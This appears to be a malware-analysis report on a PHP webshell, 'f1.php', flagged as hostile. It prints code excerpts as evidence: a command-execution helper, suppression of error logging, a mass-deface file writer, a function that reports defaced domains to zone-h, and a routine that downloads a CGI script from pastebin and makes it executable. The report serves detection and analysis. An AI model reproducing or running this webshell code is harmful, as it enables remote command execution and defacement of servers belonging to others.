Hostile ^100% php-malware-analysis Download

f1.php

Full-featured PHP webshell

PHP relays an uploaded file to remote shellsPHP uploads a file and records remote shell results

SHA-256f02ac702d8a59e3c8a4bde4c41c05b474d15863b555cdb09f1e1148c659377c4

MaleculeK(Am)O₆(C₁₂AsErCaI₂Xe)H₆(Cm₁₉CrDb₅F₁₉Os₈Po₄)Md₂(Pt)Th

Evidence

Checks PHP shell_exec availability lines 74–117

52… ############################
75function w($dir, $perm)
76{
  if (!is_writable($dir)) {
      return "<font color=red>" . $perm . "</font>";
  } else {
      return "<font color=lime>" . $perm . "</font>";
  }
82}
83function exe($cmd)
84{
  if (function_exists('system')) {
      @ob_start();
      @system($cmd);
      $buff = @ob_get_contents();
      @ob_end_clean();
      return $buff;
  } elseif (function_exists('exec')) {
      @exec($cmd, $results);
      $buff = "";
      foreach ($results as $result) {
          $buff .= $result;
      }
      return $buff;
  } elseif (function_exists('passthru')) {
      @ob_start();
      @passthru($cmd);
      $buff = @ob_get_contents();
      @ob_end_clean();
      return $buff;
  } elseif (function_exists('shell_exec')) {
      $buff = @shell_exec($cmd);
      return $buff;
  }
108}
109function perms($file)
110{
  $perms = fileperms($file);
  if (($perms & 0xc000) == 0xc000) {
      // Socket
⋯4 lines

Disables error reporting (error_reporting(0)) lines 177–200

177:18… ss($array)
178    {
179        return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
180    }
181    $_POST = idx_ss($_POST);
182}
183error_reporting(0);
184error_log(0);
185@ini_set('error_log', NULL);
186@ini_set('log_errors', 0);
187@ini_set('max_execution_time', 0);
188@set_time_limit(0);
189@set_magic_quotes_runtime(0);
190if (isset($_GET['dir'])) {
191    $dir = $_GET['dir'];
192    chdir($_GET['dir']);
193} else {
194    $dir = getcwd();
195}
196$dir = str_replace("\\", "/", $dir);
197$scdir = explode("/", $dir);
198$sm = @ini_get(strtolower("safe_mode")) == 'on' ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
199$ds = @ini_get("disable_functions");
200$mysql = function_exists('mysql_connect') ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";

Calls PHP file_put_contents() lines 279–294

30… s_deface') {
  function sabun_massal($dir, $namafile, $isi_script)
  {
      if (is_writable($dir)) {
          $dira = scandir($dir);
          foreach ($dira as $dirb) {
              $dirc = "{$dir}/{$dirb}";
              $lokasi = $dirc . '/' . $namafile;
              if ($dirb === '.') {
                  file_put_contents($lokasi, $isi_script);
              } elseif ($dirb === '..') {
                  file_put_contents($lokasi, $isi_script);
⋯4 lines

cURL request execution lines 930–942

134… /notifier={$nick}</a><br><br>";
      function zoneh($url, $nick)
      {
          $ch = curl_init("http://www.zone-h.com/notify/single");
          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
          curl_setopt($ch, CURLOPT_POST, true);
          curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer={$nick}&domain1={$url}&hackmode=1&reason=1&submit=Send");
          return curl_exec($ch);
          curl_close($ch);
      }
      foreach ($domain as $url) {
          $zoneh = zoneh($url, $nick);
    …

HTTP request via file_get_contents lines 954–963

11… cgi = "idx_cgi/cgi.izo";
  $isi_htcgi = "AddHandler cgi-script .izo";
  $htcgi = fopen(".htaccess", "w");
  $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  $cgi = fopen($file_cgi, "w");
  fwrite($cgi, $cgi_script);
  fwrite($htcgi, $isi_htcgi);
  chmod($file_cgi, 0755);
  echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
963} elseif ($_GET[ …